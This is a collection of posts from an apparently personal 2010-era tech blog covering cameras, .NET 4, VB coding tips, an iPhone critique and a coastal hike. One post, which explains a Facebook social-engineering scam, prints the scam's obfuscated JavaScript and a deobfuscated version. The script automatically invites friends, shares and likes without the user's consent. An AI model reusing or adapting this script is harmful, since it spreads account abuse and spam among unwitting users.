So I spoilt myself yesterday with a new camera, a Sony DSC TX5. It’s small, slightly water proof (10 foot), and fits in my pocket easily. It’s a little awkward to hold at first but I’m adapting to it. Controls are all via touch screen. I like the form factor and the touch screen is nice and responsive. With indoor shots I tried last night, I found the anti red eye actually added an overall red tinge, but it has a really cool twilight setting that doesn’t use the flash, instead it takes multiple exposures and works it out. I haven’t got any of those photos to show right now, but I was very happy with the pictures: not having the flash makes them look far more natural. For outdoor shots, for a simple point and shoot, I’m pretty happy. These are some I took this morning: (you’ll probably have to click on them to see them in greater detail over on picasa)



The greens in the above, (and yellows) are pretty accurate. Also zoom in to see the detail around the ant on the lemon.










In the pictures of the kangaroo, one is ISO 200 and the other ISO 125. With the ISO 200 the face of the kangaroo is lacking detail (that water pastel brush looking effect). I’m guessing that is more to do with the camera trying to compensate for what it thinks is noise. The day was dull/overcast as well. The ISO 125 picture was better. Both were shot with full zoom (x4). With my other cameras I’ve had similar problems with kangaroo faces on zoom. The ISO 125 picture gives me hope it’s just the skill of the operator that’s at fault, not the camera. but in any case, in both pictures, the grass colouring and detail is pretty good.
Overall I’m really happy with the colour accuracy, especially the greens and the yellows (but perhaps that’s more because my old lumix wasn’t so good in that aspect). It’s got some nice ease of use features (and others I still have to read the manual about). But probably its best feature is it’s size: it’s just so easy to slip it into a pocket and take it with you.
:)
Today I was running windows update on some virtual machines, and noticed that .NET 4 Client Profile is available via windows update. Seems it was released to windows update in June.
For Windows XP the update is optional. For Windows 7 and Vista the update is recommended. What this basically means is for XP users they will typically need to run windows update and select .NET 4 from the optional updates:
For Vista and Windows 7 the download and installation will be automatic if you select to automatically download recommended updates.
One great thing about .NET 4 is the installation is a breeze, especially in comparison to previous versions of the framework; distributing .NET 3.5 was a really a pain as it had dependencies on .NET 2 and the 3.0 additions. .NET 4 is a standalone installation with no other dependencies on earlier frameworks; it also runs side by side with earlier versions even in COM.
If you are running Windows Server (2003 or 2008), windows update will list the .NET 4 Framework as an optional update. Note: this is the full framework as opposed to the client profile.
If you prefer to download and install the full profile on XP, Vista or Windows 7, you’ll still need to go to the Microsoft download site. Currently you can download a Web Installer that then goes and gets the bits you need, or a full installation which includes both x64 (64 bit) and x86 (32 bit) versions:
.NET 4 Client Profile Web Install
.NET 4 Client Profile Standalone Installer (Full Download)
.NET 4 Full Framework Web Install
.NET 4 Full Framework Standalone Installer (Full Download)
So far I haven’t had any problems with distribution of .NET 4. The installs have all been really smooth. Now of course I can also point clients directly to windows update, making life even easier :)
There’s just so much wrong with Apple’s current iPhone spin; it really spells out a much bigger problem.
First, as you all probably know, Apple first denied and tried to belittle customers problems with the iPhone’s antenna design. Today they continued this approach saying other phones suffered “similar” problems. That of course is bullsh*t. The iPhone has an EXPOSED antenna, an the problem is not just interference, but one of conductivity and capacitance. This has been established by the work arounds presented. In fact the bumper cases do just that: they don’t stop the interference of the body, they stop the conductivity and capacitance.
Second, Apple reports only 0.55% complained to warranty, yet 2% returned the device. What the #### ???? Four times as many people returned the device than those who complained ? The only thing this tells us is Apple’s warranty dealings must be like it was widely reported: condescending and in denial of the problem. People don’t return things without a reason, without a complaint. That Apple’s warranty department doesn’t even count the returns is again sign of the disrespect they are treating customers with.
So Apple’s story here is clearly bullsh*t for anyone with any idea about electro-magnetism and conductivity and/or customer service. There’s a lot of good things about apple and a lot of bad things. Personally, I’ve never liked their lock-in marketing model; but one thing they have achieved is in presenting things elegantly and simply. That simplicity is what makes Apple devices so easy for young and old to use. It’s a real pity when they take that one step to far and treat their customers as simple.
Apple’s news conference on iPhone today: BIG THUMBS DOWN !!
The weather on Sunday was mild so we decided to head out for a hike along the Great Ocean Walk, from Cape Otway to Aire River taking in Station Beach and Rainbow Falls (see map)
The walking track is through heath land (shrubs), and you get glimpses of the ocean as you get nearer to the beach:

At the Cape Otway end of the track, it’s steep cliffs:

But after not too long you come to some magnificent views over Station Beach:


To get to Rainbow Falls you need to continue along the track for another kilometre or so and then you’ll find a track that leads down to the beach:

From the beach entrance you need to backtrack East about another kilometre to get to the falls. Make sure you don’t try when it’s high tide and high seas as in places there isn’t much beach, and no easy way around.
One thing that amazed me as we walked along the beach was the scattering of small bits of plastic along the high tide mark. This is pretty much a pristine area, one of the most southern points of Australia, miles away from anything. The plastic wasn’t rubbish people had left, it was stuff that had been washed in from sea. This is something that has happened within my/our lifetimes, and it’s kind of sad. Where we use to walk as kids and look at the sea shells, there’s now a mix of brightly coloured pieces of plastic. I’ve heard talk of oceans with small bits of plastic, but seeing this in this wilderness area really brought the message home to me :( It’s not like there’s piles of the stuff (yet), it’s just a fine scattering of small pieces, in amongst the shells.
Rainbow Falls gets its name form the mineral deposits on the cliff face:


There was only a trickle when we were there (more a seep than a water fall). It’d be interesting to see if they flow more in wetter years.
To get to Aire River from the falls you can either walk along the beach or take the track along the dunes/cliffs. As the tide was still coming in we decided to head back inland. The inland track does have some great views at places:

Eventually we popped out at a vantage point and caught sight of Aire River:

A bit further on we could see the bridge were we had left one of the cars:


The long shadows meant the sun was soon to set for the day
The track led us down to the river:


just as the sun was setting:

It was a lovely walk. On the section from Cape Otway to Station Beach we met a half dozen or more different groups, (families or couples etc). I could discern a couple of different accents, Irish, American, European (possibly Swedish), as well as Australian. Probably a 50-50 mix of Australian and Overseas tourists. On the lengthier section of the walk to Aire River, we didn’t see anyone else. It’s a lovely walk.
Oh, and be sure to check the tides before you leave as we didn’t see them posted anywhere. Use Portland as a good indication of tide times.
It’s amazing how many people fall for scams and social engineering tricks on the internet. Some may remember the classic “I Love you” virus from back at the start of the century: it infected 50 million users within a week or two. It was actually a very amateurish virus except for one detail: social engineering. The mere name of the attachment was enough to entice people to open and execute the attached script. Fast forward ten years …………
Ten years later, the year is 2010, and computers are more common place, and generally one would expect people to be more computer savvy. Yet today on facebook I saw lots of people had clicked on and executed a script from a site talking claiming to have “The 9 Safest Ways to Have Unprotected Sex”. Over a quarter of a million facebook users have fallen to this social engineering. This one is a bit benign, but it’s still social engineering that gets people to execute a script that otherwise wouldn’t be able to.
The site gets people to copy text to the clipboard then paste that in IE’s address bar. The text is :
BLOCKED SCRIPT(function(){a='app110142809028483_jop';b='app110142809028483_jode';ifc='app110142809028483_ifc'; ifo='app110142809028483_ifo';mw='app110142809028483_mwrapper';var _0xa049=["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x69\x64\x64\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65","\x63\x6C\x69\x63\x6B","\x73\x75\x67\x67\x65\x73\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x73\x6C\x69\x6E\x6B","\x69\x6E\x70\x75\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x53\x68\x61\x72\x65","\x6C\x69\x6B\x65\x6D\x65"];d=document;d[_0xa049[2]](mw)[_0xa049[1]][_0xa049[0]]=_0xa049[3];d[_0xa049[2]](a)[_0xa049[4]]=d[_0xa049[2]](b)[_0xa049[5]];d[_0xa049[2]](_0xa049[7])[_0xa049[6]]();setTimeout(function (){fs[_0xa049[8]]();} ,5000);setTimeout(function (){SocialGraphManager[_0xa049[11]](_0xa049[9],_0xa049[10]);setTimeout(function (){d[_0xa049[2]](_0xa049[12])[_0xa049[6]]();setTimeout(function (){inp=document[_0xa049[14]](_0xa049[13]);for(i in inp){if(inp[i][_0xa049[5]]==_0xa049[15]){inp[i][_0xa049[6]]();} ;} ;setTimeout(function (){d[_0xa049[2]](_0xa049[16])[_0xa049[6]]();d[_0xa049[2]](ifo)[_0xa049[4]]=d[_0xa049[2]](ifc)[_0xa049[5]];} ,5000);} ,3000);} ,3000);} ,5000);})();
Which basically translates to :
BLOCKED SCRIPT(function(){
a='app110142809028483_jop';
b='app110142809028483_jode';
ifc='app110142809028483_ifc';
ifo='app110142809028483_ifo';
mw='app110142809028483_mwrapper';
d=document;
d["getElementById"](mw)["style"]["visibility"]= "hidden";
d["getElementById"](a)["innerHTML"]=d["getElementById"](b)["value"];
d["getElementById"]("suggest")["click"]();
setTimeout(function (){fs["select_all"]();} ,5000);
setTimeout(function (){SocialGraphManager["submitDialog"]("sgm_invite_form","/ajax/social_graph/invite_dialog.php");
setTimeout(function (){d["getElementById"]("slink")["click"]();
setTimeout(function (){inp=document["getElementsByTagName"]("input");
for(i in inp){if(inp[i]["value"]=="Share"){inp[i]["click"]();} ;} ;
setTimeout(function (){d["getElementById"]("likeme")["click"]();
d["getElementById"](ifo)["innerHTML"]=d["getElementById"](ifc)["value"];}
,5000);} ,3000);} ,3000);} ,5000);
})();
In that script it has timeouts that click on buttons, hence getting people to suggest it to other people, liking it, etc. without the person actually explicitly clicking on the submit buttons.
It’s classic social engineering, and people still fall for it. Oh wait … it’s facebook ;)
I’ve been testing out upgrading some VS 2008 applications to 2010, but hit some MAJOR issues with projects that use Microsoft Reporting. I had reports that usually took seconds now take over a minute; and navigating via the document map was painfully slow as well: over 10 seconds compared to less than a second in the old version. I looked and looked and couldn’t find the cause. Strangely enough using the old report viewer worked well enough at runtime but had no design time support in VS 2010.
Then I stumbled across a post in Brian Hartman’s blog about changes to CAS in 4.0 and the effect on the report viewer. I didn’t think that could account for such a huge performance difference, but as I didn’t have anything else left to go on, I thought I’d try running the app using the new viewer compiled against .NET 3.5. As soon as I did that it worked just like it use to: the performance issues had disappeared. That meant it wasn’t the new viewer that was causing the issues as such, it was CAS.
So the next thing I did was compile the project against .NET 4.0 and sure enough the performance problem was back. I then opened up the config file and added the NetFx40_LegacySecurityPolicy element:
<runtime>
<NetFx40_LegacySecurityPolicy enabled="true"/>
</runtime
Now it all works nicely; performance problems fixed.
So if you have troubles with local reports when upgrading to .NET 4.0, then trying adding the NetFx40_LegacySecurityPolicy element to your app.config.
If you are looking to improve the performance of your PC, Solid State Drives (SSD’s), although still costly provide fantastic performance gains for the price. Last month I put in a Corsair V128GB2 and the performance difference on my aging Quad Core Q6600 system is HUGE !!
Most notable are the gains in boot time and application loading times. VM’s also seem less sluggish. It’s also silent and low power usage and low heat dissipation. (carbon credits there ?)
The overall gain in performance I would liken to the experience we use to get upgrading to a new processor after a year or two.
Definitely a great investment. And the good thing is you can take the SSD with you to your next system (which is my plan once I’ve sorted out that LGA 1366 stuff)
Anyway, if you are looking at sprucing up your system, or making a nice clean one for Visual Studio 2010 (now released on MSDN) and the soon to be released Office 2010 (mmm… 64 bit Excel and Access !!), go for a SDD.
Despite the age of the .NET framework library, there’s still no straight forward way to make a font bigger. You can’t modify the Size property of a font, instead you have to create a new font and specify the new size and font styles etc. I was tired of writing New Font(…, …, …, … ) all the time, so I decided to add a couple of extensions methods:
Module DrawingExtensions
<Extension()> _
Function GetNewSizedFont(ByVal fnt As Font, ByVal multiplier As Single) As Font
Return New Font(fnt.Name, fnt.Size * multiplier, _
fnt.Style, fnt.Unit)
End Function
<Extension()> _
Function GetNewStyledFont(ByVal fnt As Font, ByVal toggleStyle As FontStyle) As Font
Return New Font(fnt.Name, fnt.Size, _
fnt.Style Xor toggleStyle, fnt.Unit)
End Function
End Module
This is a little better and now lets you write code such as :
Me.Font = Me.Font.GetNewSizedFont(1.25)
Those extensions would work with C# and VB. But with VB there’s more !! In VB you can use properties ByRef and the compiler does the magic for you. (see Jared’s post) So we can change the extensions to Sub’s and make the Font ByRef :
<Extension()> _
Sub ShrinkOrGrow(ByRef fnt As Font, ByVal multiplier As Single)
fnt = New System.Drawing.Font(fnt.Name, fnt.Size * multiplier, _
fnt.Style, fnt.Unit)
End Sub
<Extension()> _
Sub ToggleStyle(ByRef fnt As Font, ByVal toggleStyle As FontStyle)
fnt = New System.Drawing.Font(fnt.Name, fnt.Size, _
fnt.Style Xor toggleStyle, fnt.Unit)
End Sub
Now you can call the extensions on the font property without needing to explicitly re-assign:
Me.Font.ShrinkOrGrow(1.25)
Compare writing :
Me.Font.ToggleStyle(FontStyle.Bold)
To:
Me.Font = New System.Drawing.
Font(Me.Font.Name, Me.Font.Size, _
Me.Font.Style
Xor FontStyle.Bold, Me.Font.Unit)
Gotta love extensions and VB’s ByRef magic
In case you’ve missed it, Lucian Wishick from the VB team is doing a set of blog posts about feature ideas for future versions of VB (VB11 and later). Lucian assures me **ALL** of the ideas in my previous wish list for VB10 are on the list !!!!
Now’s a great time to speak up and discuss these and other features you might have in mind.
There’s a new function in VB 10 called CTypeDynamic .
(note it is a function not a keyword so the Microsoft.VisualBasic namespace needs to be imported)
The CTypeDynamic function looks for dynamic information and performs the cast/conversion appropriately. This is different from the CType operator which looks for static information at compile time or relies on the types being IConvertible etc. For example, consider the following simple class with a custom narrowing operator to String:
Class Foo
Public Name As String
Public Shared Narrowing Operator CType(ByVal instance As Foo) As String
Return instance.Name
End Operator
End Class
If you were to create an object instance of Foo, you’d find you couldn’t cast it to string with CType. This code fails:
Dim f As Object = New Foo() With {.Name = "Bar"}
Dim s As String = CType(f, String)
But if you use CTypeDynamic the code works:
Dim f As Object = New Foo() With {.Name = "Bar"}
Dim s As String = CTypeDynamic(Of String)(f)
The difference is the CTypeDynamic examines the object at runtime including looking for Shared (aka static) custom operators. The CType operator would only work in this case if f was explicitly dimensioned as type Foo or cast to it. That is, for CType to work with custom operators the type of the original object must be expressed in code before calling CType, eg:
Dim s As String = CType(DirectCast(f, Foo), String)
CTypeDynamic on the other hand does the work at runtime. This obviously comes at a cost as it must examine the type(s) at runtime. Hence the “Dynamic” part in it’s name. If you know the type when writing the code, use CType, but if you need dynamic casting then you need to use CTypeDynamic.
See also “fun with dynamic objects” blog post by Doug Rothaus.
.
If it wasn’t true, a software bug in EFTPOS machines from the Bank Of Queensland (and others) would be pretty funny. Problem is *most likely* they are treating the year as a two digit date (watch out come 2100 !!!), so today with the year being 2010, they read the year as 10 and make that as 16. !!! That’s right they make 10 to be 16. A lot of you are probably saying “what the ???”
But if you consider Hex notation, eg &H10, or 0x10, well then that 10 is in fact 16. Seems the bank has been hex’ed ;)
Well the verdict is in, the reason I couldn’t read the bottle of beer label (amongst other things) is due to presbyopia… or in other words kind of average for someone in their forties ;)
The good news is my eyes are only slightly different in strength from each other so looks like I can get by with off the shelf 1.00’s for now.
If I can’t read the small print on a bottle of beer does that mean I need glasses ??????
VB 9 or later has a particular feature that can make life easier in some circumstances: the compiler allows you to access indexed items on non indexed enumerables. Let’s say you have code such as:
Dim items as IEnumerable(Of String)
. . . .
For i = 0 to items.Count - 1
Debug.Print items(i)
Next
VB will compile that for you. The Count is an extension method that loops through the list to determine the count; luckily VB calls that only once. The real killer though is items(i) is actually compiled as items.ElementAtOrDefault(i).
The ElementAtOrDefault extension tries to cast the IEnumerable(Of T) to an IList(Of T); if the IEnumerable isn’t actually an IList, it loops through the collection, returning at the given index. As you can imagine this would get extremely slow for large lists especially inside a loop.
The Good:
If your IEnumerable is in fact an IList, such as a List(Of T), then the compiler magically adding this extension call makes life a little easier as you don’t have to cast to IList yourself.
The BAD:
You have to be really careful when doing any code maintenance, especially if you change an IEnumerable source to a different collection base that doesn’t implement IList(Of T). You can end up writing really bad, slow code really easily.
I got bitten by the bad, but I caught it immediately as I was curious about the collection base I was using. In my particular case I had swapped an List(Of T) out with a ConcurrentBag(Of T). ConcurrentBag(Of T) basically uses linked lists where each item is stored as a node. Each node has a previous and next node; the list has a head and a tail. I thought it strange that ConcurrentBag would have an indexer given that would force walking through the nodes. I went to change the items(i) to items.Item(i) and BINGO it wouldn’t compile.
Possible best practices to avoid being bitten by this:
(1) Use For Each loops, not indexers. Your code will be far more flexible/manageable
(2) If you only want the first item, make it explicit by using First or FirstOrDefault extensions.
(3) Try to do the explicit cast to IList(Of T) yourself and work with an IList(Of T) instead of an IEnumerable(Of T)
(4) Consider explicitly using the Item property , eg: items.Item(0) instead of items(0)
I’m not really comfortable with having to use the Item property: hopefully practices 1 to 3 will alleviate the need for practice 4.
.
I got an email from a reader last week asking about saving customisations in Visual Studio:
Hi Bill
I read an excellent article by you
http://visualstudiomagazine.com/Articles/2007/12/01/Customize-the-VB-IDE.aspx?Page=1
Just wondering if you know of a way to export those customisations so I can set up my computer at work restore after HDD fails and share my favorite settings with friends.
Also would like to do same for my VBIDE customisations
I have googled to no avail...... :-/
Well the good news is this is incredibly easy. On the Tools menu in Visual Studio you should see the “Import and Export Savings . . .” command. You can choose what groups of settings to import or export.
This seems so incredibly long overdue, but at last as of .NET 4, IntPtr has + and – operators added to it !!
This means you can now easily write code such as :
Dim ptr As IntPtr
. . . .
ptr += 4
this is great when dealing with offsets etc.
The actual implementation is kind of interesting. Here I’m seeing the implementation as :
Public Shared Operator -(ByVal pointer As IntPtr, ByVal offset As Integer) As IntPtr
Return New IntPtr((pointer.ToInt32 - offset))
End Function
I guess this is because it is the 32 bit version of the library. Hopefully in the 64 bit version it calls on IntPtr.ToInt64 ;)
If you’ve got Windows 7 installed, the Windows Virtual PC for Windows 7 is now on MSDN subscriber downloads !!!
I had the Release Candidate (RC) installed, so had to uninstall that first and reboot before installing the RTM release. All worked perfectly, and my VPC’s from the RC also are working fine :)
If you need to uninstall the RC you’ll find it listed under the “Programs and Features” window from Control Panel. Click on “View installed updates” top left of window, and you’ll find it listed under “Microsoft Windows”
Last night I accidentally pulled out the wrong power plugs, crashing my computer. For some reason this meant it wouldn’t start properly. I don’t quite get why that would mean it wouldn’t start as the hard disc didn’t fail, but none the less it wouldn’t : the computer would seemingly just hang and the keyboard was no longer responsive and its lights went out. The good news is that start-up offered a recovery, and that recovery fixed it and life is good again. The thing to be aware of though is the recovery boot seemed to be hung for a long long time ; I’m talking like 20 minutes or half an hour.
If this happens to you, just be patient: it worked for me :)
First the good news :
The February release of the Snippet Editor has now had 10,000 downloads !
Now for bug fix news:
There were a couple of issues with the paths per language. A problem with Express Editions of Visual Studio occurred due to partial entries in the registry I didn’t for-see. Initial design and testing was done with full versions of Visual Studio, but I want to ensure that it does work with the express versions, that’s why the tool is standalone not an add-in. So the good news is I have fixed those bugs (I think).
If you want those fixes you can use the original source from Feb and just download the updated products.vb file. I’ll probably look at rolling this up into a new release in the not to distant future.
Enjoy :)
Well if you mark your methods as being void from the outset …….
More Posts
Next page »